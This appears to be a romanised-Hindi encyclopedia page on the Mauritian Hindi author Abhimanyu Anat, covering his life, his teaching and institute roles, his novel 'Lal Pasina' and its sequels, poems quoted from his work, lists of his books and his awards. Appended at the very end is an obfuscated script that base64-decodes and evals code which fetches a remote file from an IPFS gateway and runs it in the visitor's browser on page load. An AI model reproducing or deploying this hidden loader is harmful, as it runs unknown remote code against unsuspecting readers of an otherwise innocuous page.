अभिमन्यु अनत

abhimanyu anat ka janm 9 agast 1937 ee. ko 'triole' mean hua tha. m aaurishas nivasi aur vahian par pale - badhe abhimanyu anat ne hindi sahity ki shrivriddhi mean jo sahayog kiya hai, vah prashansaniy hai. abhimanyu ka mool bharat ki hi mitti hai. inake poorvaj any bharatiyoan ke sathaangrezoan dvara vahaan ki eekh ki kheti mean shram karane ke lie lae ge the. mazadooroan ke roop mean ge bharatiy anat: vahian par bas ge. m aaurishas kal-kram se aangrazoan ke shasan se mukt hua. bharatiy jo shramik banakar vahaan ge the, unaki doosari - tisari pidhiyaan padhi - likhi aur sampann haian. unaki jivan star bahut ooancha hai. abhimanyu ki bharatiy prishthabhoomi ne unhean hindi ki seva ke lie utsahit kiya aur unhoanne apane poorvajoan ki matribhoomi ka rrin achchhi tarah se chukaya. m aaurishas ke mahan katha - shilpi abhimanyu anat ne hindi kavita ko ek naya ayam diya hai. unaki kavitaoan ka bharat ke hindi sahity mean bhi mahattvapoorn sthan hai.

karyakshetr

atharah varshoan tak hindi ka adhyapan karane ke pashchat tin varshoan tak vah yuva mantralay mean naty prashikshak rahe. m aaurishas ke 'mahatma gaandhi ianstitayoot' mean bhasha prabhari ke pad se sevanivritt hone ke bad in dinoan shri anat vahian ke 'raviandranath taigor ianstitayoot' nideshak pad sanbhal rahe haian. anek rashtriy evan aantararashtriy puraskaroan se sammanit shri anat ke pathakoan ki sankhya bharat mean bhi kam nahian hai. vidrohi lekhak ki chhavi dharan kar unhoanne sadaiv hindi ke prasar ki bat ki.

vyaktitv

shaant, saumy vyaktitv ke dhani abhimanyu anat m aaurishas hi nahian, varan poori hindi jagat ke shiromani haian. m aaurishas mean unaki chhavi vidrohi lekhak ke roop mean hoti hai. unaki lekhani mean sadaiv amajan ki bhavana mukharit hoti hai. pad ka lalach unhean kabhi baandh nahian paya. apani lekhani ko sashakt banane ke lie kee bar unhoanne pad ko bhi thokar mar di. pachchis sal pahale se ajatak ke sanbandh mean mainean unake samudratuly vyaktitv ka sadaiv naman kiya. unake ghar ke pas sthit samudr ka shaant svaroop bhi unake vyaktitv mean samahit ho gaya hai. m aaurishas mean hindi sahity aur abhimanyu ek doosare ke poorak haian. m aaurishas mean premachandr ke sath unake adhyayan par tulanatmak adhyayan par mujhe kuchh sanshay avashy hua tha. jab hamane unaki pustak lal pasina padhi to laga ki premachand ke sath abhimanyu anat ki tulana sarthak hai. aj kisi bhi bharatiy sahityakar ke sath abhimanyu anat ka tulanatmak adhyayan kar shodh ka praroop diya ja sakata hai. unaki lekhani mean sadaiv m aaurishas ke amajan ki pareshaniyoan ko ukera jata raha hai. unhean kabhi bhi satta ka bhay akraant nahian kar paya. unhoanne kee bar apani lekhani ke madhyam se satta ko chunauti pradan ki. bharat mean hindi sahityakar ke roop mean unake yogyata ko poori pratishtha nahian milane ka mukhy karan bharatiy hindi sahityakaroan ki akarmanyata hai. sahityakaroan dvara aksar pravasi lekhakoan se parahej kiya jata hai. jabaki vastavikata yah hai ki hindi sahity mean abhimanyu anat ki lekhani atuly hai. bharat ki saanskritik sanpannata m aaurishas ki tulana mean adhik hai, at: bharat mean pratishtha ka apana ek alag mahatv hai. bharat ke hindi sahityakaroan mean pravasi lekhakoan ko protsahan dene ka abhav hai. aangreji bhasha ko prathamikata dene ke pichhe dikhava pravriti ko mukhy karan manane vale abhimanyu anat ke sath lagabhag pachchis saloan se sanpark mean rahane vale sahityakar ashok chakradhar unhean hindi sahity ki mahanidhi manate haian. sahity ki vibhinn vidhaoan mean 60 se adhik pustakoan ke rachayita shri anat ka upanyas lal pasina kalajayi kriti ke roop mean vikhyat ho chuka hai.

m aaurishas ke `upanyas samrat'

upanyas ke kshetr mean abhimanyu anat m aaurishas ke `upanyas samrat' hai. unake abhi tak 29 upanyas chhap chuke haian. pahala upanyas `aur nadi bahati rahi' sanh 1970 mean chhapa tha tatha unaka navinatam upanyas `apana man upavan' abhi isi varsh mean prakashit hua hai. unaka prasiddh upanyas `lal pasina' sanh 1977 mean chhapa tha jo bharat se gaye giramitiya majadooroan ki marmik kahani hai. ab isaka anuvad 'phreanch bhasha' mean ho chuka hai. is upanyas ki do any kadiyaan bhi prakashit huee jinake shirshak haian `gaandhiji bole the' (1984) tatha `aur pasina bahata raha' (1993). bharat se bahar hindi mean is trikhandi upanyas ko likhane vale ve ekamatr upanyasakar haian jinamean bharatiy majadooroan ki mahakavyatmak gatha ka jivant varnan hua hai. `gaandhiji bole the' upanyas to anat ne meri prerana se likha jisaka ullekh unhoanne upanyas mean kar diya hai. abhimanyu anat apane desh ke bhoomi putr haian tatha ani jatiy parampara ke rashtriy upanyasakar haian. m aaurishas ki bhoomi, vahaan ki sanskriti, vahaan ke aanchal, vahaan ki santanean sabhi unaki lekhakiy atma ke aang haian. ve apane desh ke vartaman ki trasadiyoan, kriya kalapoan, aupaniveshik dabav aur visanskritikaran ki dushpravrittiyoan ka badi yatharthata ke sath udghatan karate haian tatha jivan moolyoan tatha adarshavad ko sath lekar chalate haian.

rachanaean

abhimanyu anat ki kavitaoan mean shoshan, daman aur atyachar ke khilaf avaj buland ki gee hai. berozagari ki samasya par bhi anat ki drishti gee hai. samasamayik vyavastha par kavi ka bhavuk hriday chitkar kar uthata hai -

jis din sooraj ko
mazadooroan ki or se gavahi deni thi
us din subah nahian huee
suna gaya ki
malik ke yahaan ki parti mean
sooraj ne zyada pi li thi.

• anant ki kavitaoan mean m aaurishas ke shramajiviyoan ki vedana ubharati hai. 'lakshmi ka prashn' shirshak kavita mean anat prashnavachak mudra mean kh de ho jate haian :
  

anapadh lakshmi par itana jaroor poochhati rahi
pasine ki kimat jab itani mahangi hoti hai
to majadoor use itane saste kyoan bech deta hai.

kavita sankalan

• ab tak anat ke char kavita sankalan prakashit ho chuke haian :

1. kaiktas ke daant
2. nagaphani mean ulajhi saansean,
3. ek dayari bayan
4. gulamohar khaul utha.

• anat dvara sanpadit kavita sankalan haian :

1. m aaurishas ki hindi kavita,
2. m aaurishas ke nau hindi kavi.

natak -

1. virodh,
2. tin drishy,
3. gooanga itihas,
4. rok do kanha,
5. dekh kabira haansi.

kahani sangrah-

1. ek thali samandar,
2. khamoshi ke chitkar,
3. iansan aur mashin,
4. vah bich ka adami,
5. jab kal aega yamaraj.

• inake chhote-b de upanyasoan ki sankhya paiantis hai. kuchh prasiddh nam niche die ja rahe haian-

1. laharoan ki beti,
2. mark tven ka svarg,
3. phaisala apaka,
4. mu diya paha d bol utha,
5. aur nadi bahati rahi,
6. andolan,
7. ek bigha pyar,
8. jam gaya sooraj,
9. tisare kinare par,
10. chautha prani,
11. lal pasina,
12. tapati dopahari,
13. kuhase ka dayara,
14. shephali,
15. h datal kab hogi,
16. chun-chun chunav,
17. apani hi talash,
18. par pagadandi marati nahian,
19. apani-apani sima,
20. gaandhiji bole the,
21. shabd bhang,
22. pasina bahata,
23. asamap apana aangan,
24. asti-astu,
25. ham pravasi.

• inake upanyasoan mean sarvashreshth hai 'lal pasina', jise mahakavyatmak upanyas mana jata hai.

samman

abhimanyu anat ko anek mahan puruskaroan se sammanit kiya gaya jaise sahity akadami, soviyat laiand neharu puraskar, maithilisharan gupt samman, yashapal puraskar, janasanskriti samman, uttar pradesh hindi sansthan puraskar adi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• m aaurishas mean hindi ki sau sal purani paranpara
• hindi ka pravasi sahity
• hindi sahity ke sashakt hastakshar abhimanyu anat

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>